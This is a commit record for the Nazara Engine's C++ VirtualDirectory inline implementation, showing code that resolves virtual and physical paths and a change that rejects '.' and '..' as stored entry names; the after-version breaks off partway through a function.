{"text":"<commit_before>\/\/ Copyright (C) 2022 Jérôme \"Lynix\" Leclercq (lynix680@gmail.com)\n\/\/ This file is part of the \"Nazara Engine - Core module\"\n\/\/ For conditions of distribution and use, see copyright notice in Config.hpp\n\n#include <Nazara\/Core\/VirtualDirectory.hpp>\n#include <Nazara\/Core\/File.hpp>\n#include <Nazara\/Core\/StringExt.hpp>\n#include <algorithm>\n#include <cassert>\n#include <Nazara\/Core\/Debug.hpp>\n\nnamespace Nz\n{\n\tinline VirtualDirectory::VirtualDirectory(std::weak_ptr<VirtualDirectory> parentDirectory) :\n\tm_parent(std::move(parentDirectory)),\n\tm_isUprootAllowed(false)\n\t{\n\t}\n\n\tinline VirtualDirectory::VirtualDirectory(std::filesystem::path physicalPath, std::weak_ptr<VirtualDirectory> parentDirectory) :\n\tm_physicalPath(std::move(physicalPath)),\n\tm_parent(std::move(parentDirectory)),\n\tm_isUprootAllowed(false)\n\t{\n\t}\n\n\tinline void VirtualDirectory::AllowUproot(bool uproot)\n\t{\n\t\tm_isUprootAllowed = uproot;\n\t}\n\n\tinline bool VirtualDirectory::Exists(std::string_view path)\n\t{\n\t\treturn GetEntry(path, [](const auto&) {});\n\t}\n\n\ttemplate<typename F>\n\tvoid VirtualDirectory::Foreach(F&& callback, bool includeDots)\n\t{\n\t\tif (includeDots)\n\t\t{\n\t\t\tEntry ourselves = DirectoryEntry{ shared_from_this() };\n\t\t\tcallback(std::string_view(\".\"), ourselves);\n\t\t\tif (VirtualDirectoryPtr parent = m_parent.lock())\n\t\t\t{\n\t\t\t\tEntry parentEntry = DirectoryEntry{ parent };\n\t\t\t\tif (!CallbackReturn(callback, std::string_view(\"..\"), parentEntry))\n\t\t\t\t\treturn;\n\t\t\t}\n\t\t\telse if (!CallbackReturn(callback, std::string_view(\"..\"), ourselves))\n\t\t\t\t\treturn;\n\t\t}\n\n\t\tfor (auto&& entry : m_content)\n\t\t{\n\t\t\tif (!CallbackReturn(callback, std::string_view(entry.name), std::as_const(entry.entry)))\n\t\t\t\treturn;\n\t\t}\n\n\t\tif (m_physicalPath)\n\t\t{\n\t\t\tfor (auto&& physicalEntry : std::filesystem::directory_iterator(*m_physicalPath))\n\t\t\t{\n\t\t\t\tstd::string filename = physicalEntry.path().filename().generic_u8string();\n\n\t\t\t\t\/\/ Check if physical file\/directory has been overridden by a virtual one\n\t\t\t\tauto it = std::lower_bound(m_content.begin(), m_content.end(), filename, [](const ContentEntry& entry, std::string_view name)\n\t\t\t\t{\n\t\t\t\t\treturn entry.name < name;\n\t\t\t\t});\n\t\t\t\tif (it != m_content.end() && it->name == filename)\n\t\t\t\t\tcontinue;\n\n\t\t\t\tstd::filesystem::file_status status = physicalEntry.status();\n\n\t\t\t\tEntry entry;\n\t\t\t\tif (std::filesystem::is_regular_file(status))\n\t\t\t\t\tentry = PhysicalFileEntry{ physicalEntry.path() };\n\t\t\t\telse if (std::filesystem::is_directory(status))\n\t\t\t\t\tentry = PhysicalDirectoryEntry{ physicalEntry.path() };\n\t\t\t\telse\n\t\t\t\t\tcontinue;\n\n\t\t\t\tif (!CallbackReturn(callback, std::string_view(filename), entry))\n\t\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t}\n\t\n\ttemplate<typename F> bool VirtualDirectory::GetEntry(std::string_view path, F&& callback)\n\t{\n\t\tassert(!path.empty());\n\n\t\tVirtualDirectoryPtr currentDir = shared_from_this();\n\t\tstd::optional<std::filesystem::path> physicalPathBase;\n\t\tstd::vector<std::string> physicalDirectoryParts;\n\t\treturn SplitPath(path, [&](std::string_view dirName)\n\t\t{\n\t\t\tassert(!dirName.empty());\n\n\t\t\tif (physicalPathBase)\n\t\t\t{\n\t\t\t\t\/\/ Special case when traversing directory\n\t\t\t\tif (dirName == \"..\" && !m_isUprootAllowed)\n\t\t\t\t{\n\t\t\t\t\t\/\/ Don't allow to escape virtual directory\n\t\t\t\t\tif (!physicalDirectoryParts.empty())\n\t\t\t\t\t\tphysicalDirectoryParts.pop_back();\n\t\t\t\t\telse\n\t\t\t\t\t\tphysicalPathBase.reset();\n\t\t\t\t}\n\t\t\t\telse if (dirName != \".\")\n\t\t\t\t\tphysicalDirectoryParts.emplace_back(dirName);\n\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t\treturn currentDir->GetEntryInternal(dirName, [&](const Entry& entry)\n\t\t\t{\n\t\t\t\tif (auto dirEntry = std::get_if<DirectoryEntry>(&entry))\n\t\t\t\t{\n\t\t\t\t\tcurrentDir = dirEntry->directory;\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse if (auto physDirEntry = std::get_if<PhysicalDirectoryEntry>(&entry))\n\t\t\t\t{\n\t\t\t\t\tassert(!physicalPathBase);\n\n\t\t\t\t\t\/\/ We're traversing a physical directory\n\t\t\t\t\tphysicalPathBase = physDirEntry->filePath;\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\n\t\t\t\treturn false;\n\t\t\t});\n\t\t}, \n\t\t[&](std::string_view name)\n\t\t{\n\t\t\tif (physicalPathBase)\n\t\t\t{\n\t\t\t\tstd::filesystem::path filePath = *physicalPathBase;\n\t\t\t\tfor (const auto& part : physicalDirectoryParts)\n\t\t\t\t\tfilePath \/= part;\n\n\t\t\t\tfilePath \/= name;\n\n\t\t\t\tstd::filesystem::file_status status = std::filesystem::status(filePath); \/\/< FIXME: This will follow symlink, is this the intended behavior? (see symlink_status)\n\n\t\t\t\tEntry entry;\n\t\t\t\tif (std::filesystem::is_regular_file(status))\n\t\t\t\t\tentry = PhysicalFileEntry{ std::move(filePath) };\n\t\t\t\telse if (std::filesystem::is_directory(status))\n\t\t\t\t\tentry = PhysicalDirectoryEntry{ std::move(filePath) };\n\t\t\t\telse\n\t\t\t\t\treturn false; \/\/< either not known or of a special type\n\n\t\t\t\treturn CallbackReturn(callback, entry);\n\t\t\t}\n\t\t\telse\n\t\t\t\treturn currentDir->GetEntryInternal(name, callback);\n\t\t});\n\t}\n\n\ttemplate<typename F>\n\tbool VirtualDirectory::GetFileContent(std::string_view path, F&& callback)\n\t{\n\t\treturn GetEntry(path, [&](const Entry& entry)\n\t\t{\n\t\t\treturn std::visit([&](auto&& entry)\n\t\t\t{\n\t\t\t\tusing T = std::decay_t<decltype(entry)>;\n\n\t\t\t\tusing P1 = const void*;\n\t\t\t\tusing P2 = std::size_t;\n\n\t\t\t\tif constexpr (std::is_same_v<T, DataPointerEntry>)\n\t\t\t\t{\n\t\t\t\t\treturn CallbackReturn(callback, static_cast<P1>(entry.data), SafeCast<P2>(entry.size));\n\t\t\t\t}\n\t\t\t\telse if constexpr (std::is_same_v<T, FileContentEntry>)\n\t\t\t\t{\n\t\t\t\t\treturn CallbackReturn(callback, static_cast<P1>(entry.data.data()), SafeCast<P2>(entry.data.size()));\n\t\t\t\t}\n\t\t\t\telse if constexpr (std::is_same_v<T, PhysicalFileEntry>)\n\t\t\t\t{\n\t\t\t\t\tstd::optional<std::vector<UInt8>> source = File::ReadWhole(entry.filePath);\n\t\t\t\t\tif (!source.has_value())\n\t\t\t\t\t\treturn false;\n\n\t\t\t\t\treturn CallbackReturn(callback, static_cast<P1>(source->data()), SafeCast<P2>(source->size()));\n\t\t\t\t}\n\t\t\t\telse if constexpr (std::is_same_v<T, DirectoryEntry> || std::is_same_v<T, PhysicalDirectoryEntry>)\n\t\t\t\t{\n\t\t\t\t\tNazaraError(\"entry is a directory\");\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\tstatic_assert(AlwaysFalse<T>(), \"incomplete visitor\");\n\t\t\t}, entry);\n\t\t});\n\t}\n\n\tinline bool VirtualDirectory::IsUprootAllowed() const\n\t{\n\t\treturn m_isUprootAllowed;\n\t}\n\n\tinline auto VirtualDirectory::StoreDirectory(std::string_view path, VirtualDirectoryPtr directory) -> DirectoryEntry&\n\t{\n\t\tassert(!path.empty());\n\n\t\tstd::shared_ptr<VirtualDirectory> dir;\n\t\tstd::string_view entryName;\n\t\tif (!CreateOrRetrieveDirectory(path, dir, entryName))\n\t\t\tthrow std::runtime_error(\"invalid path\");\n\n\t\treturn dir->StoreInternal(std::string(entryName), DirectoryEntry{ std::move(directory) });\n\t}\n\n\tinline auto VirtualDirectory::StoreDirectory(std::string_view path, std::filesystem::path directoryPath) -> PhysicalDirectoryEntry&\n\t{\n\t\tassert(!path.empty());\n\n\t\tstd::shared_ptr<VirtualDirectory> dir;\n\t\tstd::string_view entryName;\n\t\tif (!CreateOrRetrieveDirectory(path, dir, entryName))\n\t\t\tthrow std::runtime_error(\"invalid path\");\n\n\t\treturn dir->StoreInternal(std::string(entryName), PhysicalDirectoryEntry{ std::move(directoryPath) });\n\t}\n\n\tinline auto VirtualDirectory::StoreFile(std::string_view path, std::vector<UInt8> file) -> FileContentEntry&\n\t{\n\t\tassert(!path.empty());\n\n\t\tstd::shared_ptr<VirtualDirectory> dir;\n\t\tstd::string_view entryName;\n\t\tif (!CreateOrRetrieveDirectory(path, dir, entryName))\n\t\t\tthrow std::runtime_error(\"invalid path\");\n\n\t\treturn dir->StoreInternal(std::string(entryName), FileContentEntry{ std::move(file) });\n\t}\n\n\tinline auto VirtualDirectory::StoreFile(std::string_view path, std::filesystem::path filePath) -> PhysicalFileEntry&\n\t{\n\t\tassert(!path.empty());\n\n\t\tstd::shared_ptr<VirtualDirectory> dir;\n\t\tstd::string_view entryName;\n\t\tif (!CreateOrRetrieveDirectory(path, dir, entryName))\n\t\t\tthrow std::runtime_error(\"invalid path\");\n\n\t\treturn dir->StoreInternal(std::string(entryName), PhysicalFileEntry{ std::move(filePath) });\n\t}\n\n\tinline auto VirtualDirectory::StoreFile(std::string_view path, const void* data, std::size_t size) -> DataPointerEntry&\n\t{\n\t\tassert(!path.empty());\n\n\t\tstd::shared_ptr<VirtualDirectory> dir;\n\t\tstd::string_view entryName;\n\t\tif (!CreateOrRetrieveDirectory(path, dir, entryName))\n\t\t\tthrow std::runtime_error(\"invalid path\");\n\n\t\treturn dir->StoreInternal(std::string(entryName), DataPointerEntry{ data, size });\n\t}\n\t\n\ttemplate<typename F> bool VirtualDirectory::GetEntryInternal(std::string_view name, F&& callback)\n\t{\n\t\tif (name == \".\")\n\t\t{\n\t\t\tEntry entry{ DirectoryEntry{ shared_from_this() } };\n\t\t\treturn CallbackReturn(callback, entry);\n\t\t}\n\n\t\tif (name == \"..\")\n\t\t{\n\t\t\tVirtualDirectoryPtr parentEntry;\n\t\t\tif (VirtualDirectoryPtr parent = m_parent.lock())\n\t\t\t\tparentEntry = std::move(parent);\n\t\t\telse if (!m_isUprootAllowed)\n\t\t\t\tparentEntry = shared_from_this();\n\n\t\t\tif (parentEntry)\n\t\t\t{\n\t\t\t\tEntry entry = DirectoryEntry{ std::move(parentEntry) };\n\t\t\t\treturn CallbackReturn(callback, entry);\n\t\t\t}\n\t\t}\n\n\t\tauto it = std::lower_bound(m_content.begin(), m_content.end(), name, [](const ContentEntry& entry, std::string_view name)\n\t\t{\n\t\t\treturn entry.name < name;\n\t\t});\n\t\tif (it == m_content.end() || it->name != name)\n\t\t{\n\t\t\t\/\/ Virtual file not found, check if it has a physical one\n\t\t\tif (m_physicalPath)\n\t\t\t{\n\t\t\t\tstd::filesystem::path filePath = *m_physicalPath \/ name;\n\t\t\t\tstd::filesystem::file_status status = std::filesystem::status(filePath); \/\/< FIXME: This will follow symlink, is this the intended behavior? (see symlink_status)\n\n\t\t\t\tEntry entry;\n\t\t\t\tif (std::filesystem::is_regular_file(status))\n\t\t\t\t\tentry = PhysicalFileEntry{ std::move(filePath) };\n\t\t\t\telse if (std::filesystem::is_directory(status))\n\t\t\t\t\tentry = PhysicalDirectoryEntry{ std::move(filePath) };\n\t\t\t\telse\n\t\t\t\t\treturn false; \/\/< either not known or of a special type\n\n\t\t\t\treturn CallbackReturn(callback, entry);\n\t\t\t}\n\n\t\t\treturn false;\n\t\t}\n\n\t\treturn CallbackReturn(callback, it->entry);\n\t}\n\n\tinline bool VirtualDirectory::CreateOrRetrieveDirectory(std::string_view path, std::shared_ptr<VirtualDirectory>& directory, std::string_view& entryName)\n{\n\t\tdirectory = shared_from_this();\n\n\t\tbool allowCreation = true;\n\t\treturn SplitPath(path, [&](std::string_view dirName)\n\t\t{\n\t\t\tassert(!dirName.empty());\n\n\t\t\tbool dirFound = directory->GetEntryInternal(dirName, [&](const Entry& entry)\n\t\t\t{\n\t\t\t\tif (auto dirEntry = std::get_if<DirectoryEntry>(&entry))\n\t\t\t\t\tdirectory = dirEntry->directory;\n\t\t\t\telse\n\t\t\t\t\tallowCreation = false; \/\/< does exist but is not a directory\n\t\t\t});\n\n\t\t\tif (dirFound)\n\t\t\t\treturn true;\n\n\t\t\t\/\/ Try to create a new directory\n\t\t\tif (!allowCreation)\n\t\t\t\treturn false;\n\n\t\t\tauto newDirectory = std::make_shared<VirtualDirectory>(directory);\n\t\t\tdirectory->StoreDirectory(dirName, newDirectory);\n\n\t\t\tdirectory = std::move(newDirectory);\n\t\t\treturn true;\n\t\t}, \n\t\t[&](std::string_view name)\n\t\t{\n\t\t\tif (name.empty())\n\t\t\t\treturn false;\n\n\t\t\tentryName = name;\n\t\t\treturn true;\n\t\t});\n\t}\n\n\ttemplate<typename T>\n\tT& VirtualDirectory::StoreInternal(std::string name, T value)\n\t{\n\t\tassert(!name.empty());\n\n\t\tauto it = std::lower_bound(m_content.begin(), m_content.end(), name, [](const ContentEntry& entry, std::string_view name)\n\t\t{\n\t\t\treturn entry.name < name;\n\t\t});\n\n\t\tContentEntry* entryPtr;\n\t\tif (it == m_content.end() || it->name != name)\n\t\t\tentryPtr = &*m_content.emplace(it);\n\t\telse\n\t\t\tentryPtr = &*it;\n\n\t\tentryPtr->entry = std::move(value);\n\t\tentryPtr->name = std::move(name);\n\n\t\treturn std::get<T>(entryPtr->entry);\n\t}\n\n\ttemplate<typename F, typename... Args>\n\tbool VirtualDirectory::CallbackReturn(F&& callback, Args&& ...args)\n\t{\n\t\tusing Ret = decltype(callback(std::forward<Args>(args)...));\n\t\tif constexpr (std::is_void_v<Ret>)\n\t\t{\n\t\t\tcallback(std::forward<Args>(args)...);\n\t\t\treturn true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tstatic_assert(std::is_same_v<Ret, bool>, \"callback must either return a boolean or nothing\");\n\t\t\treturn callback(std::forward<Args>(args)...);\n\t\t}\n\t}\n\n\ttemplate<typename F1, typename F2>\n\tbool VirtualDirectory::SplitPath(std::string_view path, F1&& dirCB, F2&& lastCB)\n\t{\n\t\tstd::string_view nextPart;\n\t\tauto HandlePart = [&](std::string_view part)\n\t\t{\n\t\t\tif (part.empty())\n\t\t\t\treturn true; \/\/< \"a\/\/b\" == \"a\/b\"\n\n\t\t\tif (!nextPart.empty() && !CallbackReturn(dirCB, nextPart))\n\t\t\t\treturn false;\n\n\t\t\tnextPart = part;\n\t\t\treturn true;\n\t\t};\n\n\t\treturn SplitStringAny(path, R\"(\\\/:)\", HandlePart) && CallbackReturn(lastCB, nextPart);\n\t}\n}\n\n#include <Nazara\/Core\/DebugOff.hpp>\n<commit_msg>Core\/VirtualDirectory: Prevent storing . and .. entries<commit_after>\/\/ Copyright (C) 2022 Jérôme \"Lynix\" Leclercq (lynix680@gmail.com)\n\/\/ This file is part of the \"Nazara Engine - Core module\"\n\/\/ For conditions of distribution and use, see copyright notice in Config.hpp\n\n#include <Nazara\/Core\/VirtualDirectory.hpp>\n#include <Nazara\/Core\/File.hpp>\n#include <Nazara\/Core\/StringExt.hpp>\n#include <algorithm>\n#include <cassert>\n#include <Nazara\/Core\/Debug.hpp>\n\nnamespace Nz\n{\n\tinline VirtualDirectory::VirtualDirectory(std::weak_ptr<VirtualDirectory> parentDirectory) :\n\tm_parent(std::move(parentDirectory)),\n\tm_isUprootAllowed(false)\n\t{\n\t}\n\n\tinline VirtualDirectory::VirtualDirectory(std::filesystem::path physicalPath, std::weak_ptr<VirtualDirectory> parentDirectory) :\n\tm_physicalPath(std::move(physicalPath)),\n\tm_parent(std::move(parentDirectory)),\n\tm_isUprootAllowed(false)\n\t{\n\t}\n\n\tinline void VirtualDirectory::AllowUproot(bool uproot)\n\t{\n\t\tm_isUprootAllowed = uproot;\n\t}\n\n\tinline bool VirtualDirectory::Exists(std::string_view path)\n\t{\n\t\treturn GetEntry(path, [](const auto&) {});\n\t}\n\n\ttemplate<typename F>\n\tvoid VirtualDirectory::Foreach(F&& callback, bool includeDots)\n\t{\n\t\tif (includeDots)\n\t\t{\n\t\t\tEntry ourselves = DirectoryEntry{ shared_from_this() };\n\t\t\tcallback(std::string_view(\".\"), ourselves);\n\t\t\tif (VirtualDirectoryPtr parent = m_parent.lock())\n\t\t\t{\n\t\t\t\tEntry parentEntry = DirectoryEntry{ parent };\n\t\t\t\tif (!CallbackReturn(callback, std::string_view(\"..\"), parentEntry))\n\t\t\t\t\treturn;\n\t\t\t}\n\t\t\telse if (!CallbackReturn(callback, std::string_view(\"..\"), ourselves))\n\t\t\t\t\treturn;\n\t\t}\n\n\t\tfor (auto&& entry : m_content)\n\t\t{\n\t\t\tif (!CallbackReturn(callback, std::string_view(entry.name), std::as_const(entry.entry)))\n\t\t\t\treturn;\n\t\t}\n\n\t\tif (m_physicalPath)\n\t\t{\n\t\t\tfor (auto&& physicalEntry : std::filesystem::directory_iterator(*m_physicalPath))\n\t\t\t{\n\t\t\t\tstd::string filename = physicalEntry.path().filename().generic_u8string();\n\n\t\t\t\t\/\/ Check if physical file\/directory has been overridden by a virtual one\n\t\t\t\tauto it = std::lower_bound(m_content.begin(), m_content.end(), filename, [](const ContentEntry& entry, std::string_view name)\n\t\t\t\t{\n\t\t\t\t\treturn entry.name < name;\n\t\t\t\t});\n\t\t\t\tif (it != m_content.end() && it->name == filename)\n\t\t\t\t\tcontinue;\n\n\t\t\t\tstd::filesystem::file_status status = physicalEntry.status();\n\n\t\t\t\tEntry entry;\n\t\t\t\tif (std::filesystem::is_regular_file(status))\n\t\t\t\t\tentry = PhysicalFileEntry{ physicalEntry.path() };\n\t\t\t\telse if (std::filesystem::is_directory(status))\n\t\t\t\t\tentry = PhysicalDirectoryEntry{ physicalEntry.path() };\n\t\t\t\telse\n\t\t\t\t\tcontinue;\n\n\t\t\t\tif (!CallbackReturn(callback, std::string_view(filename), entry))\n\t\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t}\n\t\n\ttemplate<typename F> bool VirtualDirectory::GetEntry(std::string_view path, F&& callback)\n\t{\n\t\tassert(!path.empty());\n\n\t\tVirtualDirectoryPtr currentDir = shared_from_this();\n\t\tstd::optional<std::filesystem::path> physicalPathBase;\n\t\tstd::vector<std::string> physicalDirectoryParts;\n\t\treturn SplitPath(path, [&](std::string_view dirName)\n\t\t{\n\t\t\tassert(!dirName.empty());\n\n\t\t\tif (physicalPathBase)\n\t\t\t{\n\t\t\t\t\/\/ Special case when traversing directory\n\t\t\t\tif (dirName == \"..\" && !m_isUprootAllowed)\n\t\t\t\t{\n\t\t\t\t\t\/\/ Don't allow to escape virtual directory\n\t\t\t\t\tif (!physicalDirectoryParts.empty())\n\t\t\t\t\t\tphysicalDirectoryParts.pop_back();\n\t\t\t\t\telse\n\t\t\t\t\t\tphysicalPathBase.reset();\n\t\t\t\t}\n\t\t\t\telse if (dirName != \".\")\n\t\t\t\t\tphysicalDirectoryParts.emplace_back(dirName);\n\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t\treturn currentDir->GetEntryInternal(dirName, [&](const Entry& entry)\n\t\t\t{\n\t\t\t\tif (auto dirEntry = std::get_if<DirectoryEntry>(&entry))\n\t\t\t\t{\n\t\t\t\t\tcurrentDir = dirEntry->directory;\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse if (auto physDirEntry = std::get_if<PhysicalDirectoryEntry>(&entry))\n\t\t\t\t{\n\t\t\t\t\tassert(!physicalPathBase);\n\n\t\t\t\t\t\/\/ We're traversing a physical directory\n\t\t\t\t\tphysicalPathBase = physDirEntry->filePath;\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\n\t\t\t\treturn false;\n\t\t\t});\n\t\t}, \n\t\t[&](std::string_view name)\n\t\t{\n\t\t\tif (physicalPathBase)\n\t\t\t{\n\t\t\t\tstd::filesystem::path filePath = *physicalPathBase;\n\t\t\t\tfor (const auto& part : physicalDirectoryParts)\n\t\t\t\t\tfilePath \/= part;\n\n\t\t\t\tfilePath \/= name;\n\n\t\t\t\tstd::filesystem::file_status status = std::filesystem::status(filePath); \/\/< FIXME: This will follow symlink, is this the intended behavior? (see symlink_status)\n\n\t\t\t\tEntry entry;\n\t\t\t\tif (std::filesystem::is_regular_file(status))\n\t\t\t\t\tentry = PhysicalFileEntry{ std::move(filePath) };\n\t\t\t\telse if (std::filesystem::is_directory(status))\n\t\t\t\t\tentry = PhysicalDirectoryEntry{ std::move(filePath) };\n\t\t\t\telse\n\t\t\t\t\treturn false; \/\/< either not known or of a special type\n\n\t\t\t\treturn CallbackReturn(callback, entry);\n\t\t\t}\n\t\t\telse\n\t\t\t\treturn currentDir->GetEntryInternal(name, callback);\n\t\t});\n\t}\n\n\ttemplate<typename F>\n\tbool VirtualDirectory::GetFileContent(std::string_view path, F&& callback)\n\t{\n\t\treturn GetEntry(path, [&](const Entry& entry)\n\t\t{\n\t\t\treturn std::visit([&](auto&& entry)\n\t\t\t{\n\t\t\t\tusing T = std::decay_t<decltype(entry)>;\n\n\t\t\t\tusing P1 = const void*;\n\t\t\t\tusing P2 = std::size_t;\n\n\t\t\t\tif constexpr (std::is_same_v<T, DataPointerEntry>)\n\t\t\t\t{\n\t\t\t\t\treturn CallbackReturn(callback, static_cast<P1>(entry.data), SafeCast<P2>(entry.size));\n\t\t\t\t}\n\t\t\t\telse if constexpr (std::is_same_v<T, FileContentEntry>)\n\t\t\t\t{\n\t\t\t\t\treturn CallbackReturn(callback, static_cast<P1>(entry.data.data()), SafeCast<P2>(entry.data.size()));\n\t\t\t\t}\n\t\t\t\telse if constexpr (std::is_same_v<T, PhysicalFileEntry>)\n\t\t\t\t{\n\t\t\t\t\tstd::optional<std::vector<UInt8>> source = File::ReadWhole(entry.filePath);\n\t\t\t\t\tif (!source.has_value())\n\t\t\t\t\t\treturn false;\n\n\t\t\t\t\treturn CallbackReturn(callback, static_cast<P1>(source->data()), SafeCast<P2>(source->size()));\n\t\t\t\t}\n\t\t\t\telse if constexpr (std::is_same_v<T, DirectoryEntry> || std::is_same_v<T, PhysicalDirectoryEntry>)\n\t\t\t\t{\n\t\t\t\t\tNazaraError(\"entry is a directory\");\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\tstatic_assert(AlwaysFalse<T>(), \"incomplete visitor\");\n\t\t\t}, entry);\n\t\t});\n\t}\n\n\tinline bool VirtualDirectory::IsUprootAllowed() const\n\t{\n\t\treturn m_isUprootAllowed;\n\t}\n\n\tinline auto VirtualDirectory::StoreDirectory(std::string_view path, VirtualDirectoryPtr directory) -> DirectoryEntry&\n\t{\n\t\tassert(!path.empty());\n\n\t\tstd::shared_ptr<VirtualDirectory> dir;\n\t\tstd::string_view entryName;\n\t\tif (!CreateOrRetrieveDirectory(path, dir, entryName))\n\t\t\tthrow std::runtime_error(\"invalid path\");\n\n\t\tif (entryName == \".\" || entryName == \"..\")\n\t\t\tthrow std::runtime_error(\"invalid entry name\");\n\n\t\treturn dir->StoreInternal(std::string(entryName), DirectoryEntry{ std::move(directory) });\n\t}\n\n\tinline auto VirtualDirectory::StoreDirectory(std::string_view path, std::filesystem::path directoryPath) -> PhysicalDirectoryEntry&\n\t{\n\t\tassert(!path.empty());\n\n\t\tstd::shared_ptr<VirtualDirectory> dir;\n\t\tstd::string_view entryName;\n\t\tif (!CreateOrRetrieveDirectory(path, dir, entryName))\n\t\t\tthrow std::runtime_error(\"invalid path\");\n\n\t\tif (entryName == \".\" || entryName == \"..\")\n\t\t\tthrow std::runtime_error(\"invalid entry name\");\n\n\t\treturn dir->StoreInternal(std::string(entryName), PhysicalDirectoryEntry{ std::move(directoryPath) });\n\t}\n\n\tinline auto VirtualDirectory::StoreFile(std::string_view path, std::vector<UInt8> file) -> FileContentEntry&\n\t{\n\t\tassert(!path.empty());\n\n\t\tstd::shared_ptr<VirtualDirectory> dir;\n\t\tstd::string_view entryName;\n\t\tif (!CreateOrRetrieveDirectory(path, dir, entryName))\n\t\t\tthrow std::runtime_error(\"invalid path\");\n\n\t\tif (entryName == \".\" || entryName == \"..\")\n\t\t\tthrow std::runtime_error(\"invalid entry name\");\n\n\t\treturn dir->StoreInternal(std::string(entryName), FileContentEntry{ std::move(file) });\n\t}\n\n\tinline auto VirtualDirectory::StoreFile(std::string_view path, std::filesystem::path filePath) -> PhysicalFileEntry&\n\t{\n\t\tassert(!path.empty());\n\n\t\tstd::shared_ptr<VirtualDirectory> dir;\n\t\tstd::string_view entryName;\n\t\tif (!CreateOrRetrieveDirectory(path, dir, entryName))\n\t\t\tthrow std::runtime_error(\"invalid path\");\n\n\t\tif (entryName == \".\" || entryName == \"..\")\n\t\t\tthrow std::runtime_error(\"invalid entry name\");\n\n\t\treturn dir->StoreInternal(std::string(entryName), PhysicalFileEntry{ std::move(filePath) });\n\t}\n\n\tinline auto VirtualDirectory::StoreFile(std::string_view path, const void* data, std::size_t size) -> DataPointerEntry&\n\t{\n\t\tassert(!path.empty());\n\n\t\tstd::shared_ptr<VirtualDirectory> dir;\n\t\tstd::string_view entryName;\n\t\tif (!CreateOrRetrieveDirectory(path, dir, entryName))\n\t\t\tthrow std::runtime_error(\"invalid path\");\n\n\t\tif (entryName == \".\" || entryName == \"..\")\n\t\t\tthrow std::runtime_error(\"invalid entry name\");\n\n\t\treturn dir->StoreInternal(std::string(entryName), DataPointerEntry{ data, size });\n\t}\n\t\n\ttemplate<typename F> bool VirtualDirectory::GetEntryInternal(std::string_view name, F&& callback)\n\t{\n\t\tif (name == \".\")\n\t\t{\n\t\t\tEntry entry{ DirectoryEntry{ shared_from_this() } };\n\t\t\treturn CallbackReturn(callback, entry);\n\t\t}\n\n\t\tif (name == \"..\")\n\t\t{\n\t\t\tVirtualDirectoryPtr parentEntry;\n\t\t\tif (VirtualDirectoryPtr parent = m_parent.lock())\n\t\t\t\tparentEntry = std::move(parent);\n\t\t\telse if (!m_isUprootAllowed)\n\t\t\t\tparentEntry = shared_from_this();\n\n\t\t\tif (parentEntry)\n\t\t\t{\n\t\t\t\tEntry entry = DirectoryEntry{ std::move(parentEntry) };\n\t\t\t\treturn CallbackReturn(callback, entry);\n\t\t\t}\n\t\t}\n\n\t\tauto it = std::lower_bound(m_content.begin(), m_content.end(), name, [](const ContentEntry& entry, std::string_view name)\n\t\t{\n\t\t\treturn entry.name < name;\n\t\t});\n\t\tif (it == m_content.end() || it->name != name)\n\t\t{\n\t\t\t\/\/ Virtual file not found, check if it has a physical one\n\t\t\tif (m_physicalPath)\n\t\t\t{\n\t\t\t\tstd::filesystem::path filePath = *m_physicalPath \/ name;\n\t\t\t\tstd::filesystem::file_status status = std::filesystem::status(filePath); \/\/< FIXME: This will follow symlink, is this the intended behavior? (see symlink_status)\n\n\t\t\t\tEntry entry;\n\t\t\t\tif (std::filesystem::is_regular_file(status))\n\t\t\t\t\tentry = PhysicalFileEntry{ std::move(filePath) };\n\t\t\t\telse if (std::filesystem::is_directory(status))\n\t\t\t\t\tentry = PhysicalDirectoryEntry{ std::move(filePath) };\n\t\t\t\telse\n\t\t\t\t\treturn false; \/\/< either not known or of a special type\n\n\t\t\t\treturn CallbackReturn(callback, entry);\n\t\t\t}\n\n\t\t\treturn false;\n\t\t}\n\n\t\treturn CallbackReturn(callback, it->entry);\n\t}\n\n\tinline bool VirtualDirectory::CreateOrRetrieveDirectory(std::string_view path, std::shared_ptr<VirtualDirectory>& directory, std::string_view& entryName)\n{\n\t\tdirectory = shared_from_this();\n\n\t\tbool allowCreation = true;\n\t\treturn SplitPath(path, [&](std::string_view dirName)\n\t\t{\n\t\t\tassert(!dirName.empty());\n\n\t\t\tbool dirFound = directory->GetEntryInternal(dirName, [&](const Entry& entry)\n\t\t\t{\n\t\t\t\tif (auto dirEntry = std::get_if<DirectoryEntry>(&entry))\n\t\t\t\t\tdirectory = dirEntry->directory;\n\t\t\t\telse\n\t\t\t\t\tallowCreation = false; \/\/< does exist but is not a directory\n\t\t\t});\n\n\t\t\tif (dirFound)\n\t\t\t\treturn true;\n\n\t\t\t\/\/ Try to create a new directory\n\t\t\tif (!allowCreation)\n\t\t\t\treturn false;\n\n\t\t\tauto newDirectory = std::make_shared<VirtualDirectory>(directory);\n\t\t\tdirectory->StoreDirectory(dirName, newDirectory);\n\n\t\t\tdirectory = std::move(newDirectory);\n\t\t\treturn true;\n\t\t}, \n\t\t[&](std::string_view name)\n\t\t{\n\t\t\tif (name.empty())\n\t\t\t\treturn false;\n\n\t\t\tentryName = name;\n\t\t\treturn true;\n\t\t});\n\t}\n\n\ttemplate<typename T>\n\tT& VirtualDirectory::StoreInternal(std::string name, T value)\n\t{\n\t\tassert(!name.empty());\n\n\t\tauto it = std::lower_bound(m_content.begin(), m_content.end(), name, [](const ContentEntry& entry, std::string_view name)\n\t\t{\n\t\t\treturn entry.name < name;\n\t\t});\n\n\t\tContentEntry* entryPtr;\n\t\tif (it == m_content.end() || it->name != name)\n\t\t\tentryPtr = &*m_content.emplace(it);\n\t\telse\n\t\t\tentryPtr = &*it;\n\n\t\tentryPtr->entry = std::move(value);\n\t\tentryPtr->name = std::move(name);\n\n\t\treturn std::get<T>(entryPtr->entry);\n\t}\n\n\ttemplate<typename F, typename... Args>\n\tbool VirtualDirectory::CallbackReturn(F&& callback, 